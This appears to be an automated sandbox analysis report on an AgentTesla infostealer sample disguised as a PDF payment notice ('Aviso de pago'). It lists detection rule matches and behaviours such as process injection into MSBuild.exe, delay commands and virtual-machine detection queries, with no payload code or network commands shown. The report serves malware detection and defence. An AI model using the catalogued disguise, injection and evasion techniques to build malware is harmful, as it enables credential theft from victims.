Source: 0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.raw.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 12.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 12.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 12.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 12.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: Process Memory Space: MSBuild.exe PID: 3272, type: MEMORYSTR	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Aviso de pago.pdf____________________________.exe

.NET source code contains very large array initializations

Source: 12.0.MSBuild.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007bDDFF07F3u002dCE57u002d4C09u002dA970u002d38E9328FA8D8u007d/u0030BCA6C18u002d22C5u002d4E81u002dA07Eu002dD299400C5A1B.cs	Large array initialization: .cctor: array initializer size 11790
Source: 12.2.MSBuild.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007bDDFF07F3u002dCE57u002d4C09u002dA970u002d38E9328FA8D8u007d/u0030BCA6C18u002d22C5u002d4E81u002dA07Eu002dD299400C5A1B.cs	Large array initialization: .cctor: array initializer size 11790

Source: Aviso de pago.pdf____________________________.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 12.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 12.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 12.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 12.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 12.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: Process Memory Space: MSBuild.exe PID: 3272, type: MEMORYSTR	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_00E94A78
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_0496B5C0
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_04968D68
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_04962010
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_04966868
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_04963108
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_04965280
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_04965A18
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_04966B10
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_04962350
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_05998D36
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_05994300
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_048D0CB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_050346A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_05033D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_05034672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_05034690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_05F26920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_05F27538
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_05F290F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_05F26C68

Source: Aviso de pago.pdf____________________________.exe	Binary or memory string: OriginalFilename vs Aviso de pago.pdf____________________________.exe
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.480316793.0000000003980000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamearquajyuPCWUPvLWdHsfqSDDcyRGxRBVFTw.exe4 vs Aviso de pago.pdf____________________________.exe
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.486069682.00000000088AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamearquajyuPCWUPvLWdHsfqSDDcyRGxRBVFTw.exe4 vs Aviso de pago.pdf____________________________.exe
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.482976208.00000000077E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: get_OriginalFilename vs Aviso de pago.pdf____________________________.exe
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Aviso de pago.pdf____________________________.exe
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.482115591.0000000006B50000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameNkrnkvsubxsztkgs.dll" vs Aviso de pago.pdf____________________________.exe
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000000.361902808.00000000005D2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameZnmtganqo.exe" vs Aviso de pago.pdf____________________________.exe
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamearquajyuPCWUPvLWdHsfqSDDcyRGxRBVFTw.exe4 vs Aviso de pago.pdf____________________________.exe
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Aviso de pago.pdf____________________________.exe
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000003.468147986.0000000007EFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: get_OriginalFilename vs Aviso de pago.pdf____________________________.exe
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Aviso de pago.pdf____________________________.exe
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Aviso de pago.pdf____________________________.exe
Source: Aviso de pago.pdf____________________________.exe	Binary or memory string: OriginalFilenameZnmtganqo.exe" vs Aviso de pago.pdf____________________________.exe

Source: Aviso de pago.pdf____________________________.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Aviso de pago.pdf____________________________.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Aviso de pago.pdf____________________________.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe

Section loaded: windows.staterepositoryps.dll

Source: Aviso de pago.pdf____________________________.exe

ReversingLabs: Detection: 24%

Source: Aviso de pago.pdf____________________________.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe "C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe"
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 15
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 15
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Aviso de pago.pdf____________________________.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@8/1@0/1

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3024:120:WilError_01

Source: 12.0.MSBuild.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 12.0.MSBuild.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 12.2.MSBuild.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 12.2.MSBuild.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: Aviso de pago.pdf____________________________.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Aviso de pago.pdf____________________________.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source: Aviso de pago.pdf____________________________.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: protobuf-net.pdbSHA256 source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: Aviso de pago.pdf____________________________.exe, Google.cs	.Net Code: Featured System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.Aviso de pago.pdf____________________________.exe.5d0000.0.unpack, Google.cs	.Net Code: Featured System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.Aviso de pago.pdf____________________________.exe.5d0000.0.unpack, Google.cs	.Net Code: Featured System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_04967482 push 8B045BD9h; ret
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_04967288 push 8B044388h; ret
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_049673CA push 8B044389h; ret
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 0_2_04967355 push 8B045BDDh; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0503E1E8 push E802005Eh; retf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0503E204 push E801025Eh; ret

Source: Aviso de pago.pdf____________________________.exe

Static PE information: 0xD0E49B7F [Mon Jan 20 23:55:43 2081 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe TID: 6404	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe TID: 6284	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 3372	Thread sleep count: 130 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6880	Thread sleep count: 44 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6880	Thread sleep time: -40582836962160988s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6904	Thread sleep count: 3523 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6904	Thread sleep count: 6312 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 3523
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 6312

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 438000
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43A000
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: B71008

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 15
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
